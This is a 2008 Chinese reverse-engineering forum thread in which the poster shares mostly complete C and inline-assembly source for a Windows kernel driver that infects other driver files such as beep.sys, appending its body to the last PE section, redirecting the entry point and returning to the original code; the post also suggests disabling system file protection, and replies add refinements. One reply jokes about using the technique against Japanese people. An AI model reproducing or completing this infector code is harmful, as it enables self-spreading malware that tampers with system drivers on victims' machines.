首页
社区
课程
招聘
[原创]完整的驱动感染.code.编译通过
发表于: 2008-5-28 21:59 64268

[原创]完整的驱动感染.code.编译通过

2008-5-28 21:59
64268
完整的驱动感染.code.编译通过

/*
* Module: InfectDriver.c
*
* Author : 老Y (源自kanxue,不过老Y放的code不完整,需要自己补充)
* Fixer : sudami [[EMAIL="sudami@163.com"]sudami@163.com[/EMAIL]]
* Time : 08/05/28
*
* Comment:
*
* 半年前一大牛在kanxue进行“驱动感染”扫盲,偶当时没搞明白.半年后突然想起来,于是
* 尝试学习下.由于偶太菜,弄了几个小半天.终于调试成功. 关键点在于计算驱动自身的
* 大小, 编译完驱动后,要用IDA打开它:
* 1. 计算出第一个变量到call $+5 处的偏移量.
* 2. 计算ulEndaddr到文件末尾的偏移量.一般就是INIT的那一小段dd.
*
* Description:
*
* 此驱动的功能很简单,可自己扩充,感染成功后,仅仅创建一个线程不断的打印信息.
* 自己扩充功能时,要时刻记着对于全局变量和函数,都得重新定位,用作者提供的
* KGetGlobalVarAddr() 函数即可. 对感染部分进行了详细的注释,对此很陌生的同学
* 可以参考参考.
*****
*
* 若想感染beep.sys、null.sys等系统文件,记得先去掉SFP.当然,像微点这样的主动防御
* 软件已经不允许修改Driver目录下的sys了. 需要自己想办法;
*
* zjjmj2002大牛以前写过一个驱动感染的sys,小小的扭曲过,会挂钩NtOpenFile以实现感染
* 用户访问的驱动文件. 很好很邪恶~~~~ - -
*****
*
* Copyright (c) 2008 sudami.
* Freely distributable in source or binary for noncommercial purposes.
* This is not a virus, So take it easy, just for fun.
*
*/


发出来让还没接触过这些的同学少走些弯路,免得像偶一样调试半天才补完整~~
切勿用于非法用途.

2处关键部分如下:

/**
*@brief 感染指定的文件
*
*@param[in]  pwszFileName 要感染的驱动文件名
*@param[in]  ulNewEntryPointDelta DriverEntry函数址与感染体首地址之间的差值
*@return 返回STATUS_SUCCESS表示成功,其它值表示失败
*/

int KInfect(WCHAR *pwszFileName, ULONG ulNewEntryPointDelta)
{      
    __asm{
    call my_Next
my_Next:
    pop eax
    sub eax, 5
    mov ulDelta,eax
    }  
      
    ultmp = ulDelta - 0x14B7;  
    ulBodySize = ulEndAddr - ultmp + 0x34;  

    nRetCode = KPEInitFromFileW(
        &pe,
        pwszFileName
        );
    if (!NT_SUCCESS(nRetCode))  {  
              goto Exit0;
    }
    if (pe.pDosHdr->e_csum == 0x5748)  { //感染标记  
                goto Exit0;
    }
    ulSecNum = KPEGetSecNum(&pe);
    if (!ulSecNum)  {  
                goto Exit0;
    }
    //
    // 对齐
    // Misc.VirtualSize - 文件中的节长度.即对齐前的节尺寸
    // SizeOfRawData - 内存中的节长度,即对齐后的节尺寸
    //
    ulFileAlignment = pe.pNtHdr->OptionalHeader.FileAlignment; // 段在文件中的对齐方式
    ulSectionAlignment = pe.pNtHdr->OptionalHeader.SectionAlignment; // 段加载后在内存中的对齐方式。
    pe.pSecHdr[ulSecNum - 1].SizeOfRawData =  
        ((pe.pSecHdr[ulSecNum - 1].SizeOfRawData - 1) / ulFileAlignment + 1) * ulFileAlignment;
    pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize =  
        ((pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize - 1) / ulFileAlignment + 1) * ulFileAlignment;

    //
    // PointerToRawData - 节基于文件的偏移量,可根据它在文件中找到节
    // ulNewFilePos - 新的写入点地址,即最后一个节的末尾处
    // e_ip - 初始的指令指针值, e_cs -  初始的代码段相对偏移量值
    // AddressOfEntryPoint -  程序入口RVA
    //
    // 新的程序入口改为了感染体最后一个节,病毒体内的DriverEntry处
    //
    ulNewFilePos = pe.pSecHdr[ulSecNum - 1].SizeOfRawData + pe.pSecHdr[ulSecNum - 1].PointerToRawData;
    pe.pDosHdr->e_ip = (USHORT)(pe.pNtHdr->OptionalHeader.AddressOfEntryPoint & 0xFFFF);
    pe.pDosHdr->e_cs = (USHORT)( (pe.pNtHdr->OptionalHeader.AddressOfEntryPoint >> 16) & 0xFFFF);
    pe.pNtHdr->OptionalHeader.AddressOfEntryPoint =  
        ulNewEntryPointDelta +  
        pe.pSecHdr[ulSecNum - 1].VirtualAddress +  
        pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize;
    //
    // 增加最后一个节的长度, + ulBodySize,为感染体自身的大小
    //
    pe.pSecHdr[ulSecNum - 1].SizeOfRawData += ulBodySize;
    pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize += ulBodySize;
    //
    // 写感染标记
    // e_csum 为校验和
    //
    pe.pDosHdr->e_csum = 0x5748;   
    nRetCode = KSeek(pe.hFile, ulNewFilePos);
    if (!NT_SUCCESS(nRetCode)) {  
            goto Exit0;
    }
   
    nRetCode = KWriteFile(
        pe.hFile,
        (PVOID)ultmp, // 起始的Buffer地址,这里为病毒第一个全局变量的地址
        ulBodySize,
        &ulReturnLength
        );
    if (!NT_SUCCESS(nRetCode)) {  
              goto Exit0;
    }

    pe.pNtHdr->OptionalHeader.SizeOfImage =  
        pe.pSecHdr[ulSecNum - 1].VirtualAddress + pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize;
   
    pe.pSecHdr[ulSecNum - 1].Characteristics |= (IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE);
    pe.pSecHdr[ulSecNum - 1].Characteristics &= (~IMAGE_SCN_MEM_DISCARDABLE);

    //
    //
    //
    nRetCode = KSeek(pe.hFile, 0);
    if (!NT_SUCCESS(nRetCode)) {  
            goto Exit0;
    }  
   
    ..........  
Exit0:
    KDelete(pe.pSecHdr);
    pe.pSecHdr = NULL;
    KDelete(pe.pNtHdr);
    pe.pNtHdr = NULL;
    KDelete(pe.pDosHdr);
    pe.pDosHdr = NULL;
    KClose(pe.hFile);
    return nResult;
}



//
// 本驱动会感染System32\Drivers\beep.sys,感染方式为更改最后一个节的大小,
// 然后写入感染体代码,被感染的驱动加载成功的表现为每隔一秒种使用DbgPrint输出I'm here
// 可以在Windbg或DbgView查看
//
NTSTATUS  
DriverEntry(
    IN PDRIVER_OBJECT DriverObject,  
    IN PUNICODE_STRING RegistryPath
    )
{
    ....
Exit0:
    __asm
    {
        push offset g_ulOrgEntryPoint
        call KGetGlobalVarAddr
        mov eax, [eax]
        or eax,eax
        jz Exit1
        push eax  // 保存eax - 原来的EOP
        call KCreateSystemThread  // 干我们想干的事情
        pop eax  // 恢复eax - 原来的EOP
        pop    edi
        pop    esi
        pop    ebx
        mov    esp, ebp
        pop    ebp
        jmp eax  // JMP回程序的原入口继续执行
    }
Exit1:        
   
    __asm
    {
            mov    eax, 0C0000001h
            pop    edi
            pop    esi
            pop    ebx
            mov    esp, ebp
            pop    ebp
            retn    8
    }
}


[课程]Linux pwn 探索篇!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (95)
雪    币: 7309
活跃值: (3778)
能力值: (RANK:1130 )
在线值:
发帖
回帖
粉丝
2
int KInfect(WCHAR *pwszFileName, ULONG ulNewEntryPointDelta)
{

...

}
这个后面放个
NAKED void KInfect_End()
{__asm _emit 0xCC }

然后,release编译

ulBodySize = (DWORD)KInfect_End - (DWORD)KInfect;

如果要自定位,可以用老Y里面的那段代码
2008-5-28 22:13
0
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
3
哦。感谢海风月影 大牛补充指点~~~
2008-5-28 22:16
0
雪    币: 210
活跃值: (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
群主,我看你不错,来我们群吧:
逆向工程:23148505
2008-5-28 22:29
0
雪    币: 312
活跃值: (27)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
驱动感染太邪恶!记得别做坏事,做坏事的人能力再高也只是遗臭万年.
...不过看样子,感染驱动的病毒很快就面世了.
2008-5-28 22:32
0
雪    币: 1844
活跃值: (35)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
6
我现在最烦的就是感染 .exe 的病毒
2008-5-28 22:38
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
占位学习...
2008-5-28 22:53
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
good
此时我也看不懂
   
2008-5-28 22:58
0
雪    币: 716
活跃值: (162)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
9
又是驱动,
2008-5-28 23:16
0
雪    币: 287
活跃值: (102)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
10
只能学习
2008-5-29 00:32
0
雪    币: 206
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
顶sudami牛
2008-5-29 08:14
0
雪    币: 411
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
驱动编程,不错。谢谢楼主。
2008-5-29 08:29
0
雪    币: 219
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
只能学习
2008-5-29 09:13
0
雪    币: 321
活跃值: (271)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
14
狂顶sudami!
2008-5-29 09:16
0
雪    币: 258
活跃值: (230)
能力值: ( LV12,RANK:770 )
在线值:
发帖
回帖
粉丝
15
支持,感谢共享...
2008-5-29 09:20
0
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
16

不算是传播病毒吧~~~
2008-5-29 10:02
0
雪    币: 220
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
算                     
.
2008-5-29 10:07
0
雪    币: 197
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
我看过以前的代码,感染SYS后,只是创建了一个线程。
如果我想创建设备对象,要和RING3通信怎么办?如果仅仅创建一个线程 ,似乎用处不大。

不过病毒可以用这种方法实现自启动而已
2008-5-29 10:58
0
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
19
一样的道理。

文章中有说明,你自己不细心,别人帮不了你。。。

难道非要手把手的。。。。
2008-5-29 11:02
0
雪    币: 1946
活跃值: (243)
能力值: (RANK:330 )
在线值:
发帖
回帖
粉丝
20
等着机器12生肖
2008-5-29 11:47
0
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
21
来个机器猪~~~
2008-5-29 11:54
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
总算把完整代码得到!老Y 的自定位方法经典好用。收藏了。
2008-5-29 12:12
0
雪    币: 8865
活跃值: (2379)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
23
感染还是用汇编爽~~C写起来很烦人~~
另外这种感染不爽最好还是增加引入表的感染——不用重定位啊~
2008-5-29 14:49
0
雪    币: 1233
活跃值: (907)
能力值: ( LV12,RANK:750 )
在线值:
发帖
回帖
粉丝
24
谢谢啊,我向你保证绝不用该技术危害国人,日本人不算
2008-5-29 17:11
0
雪    币: 203
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
cvcvxk=cvc+vxk
这位是国内CVC的VXK大牛,传说国内的病毒组织的牛人啊,期待大牛的作品
2008-5-29 21:43
0
游客
登录 | 注册 方可回帖
返回
//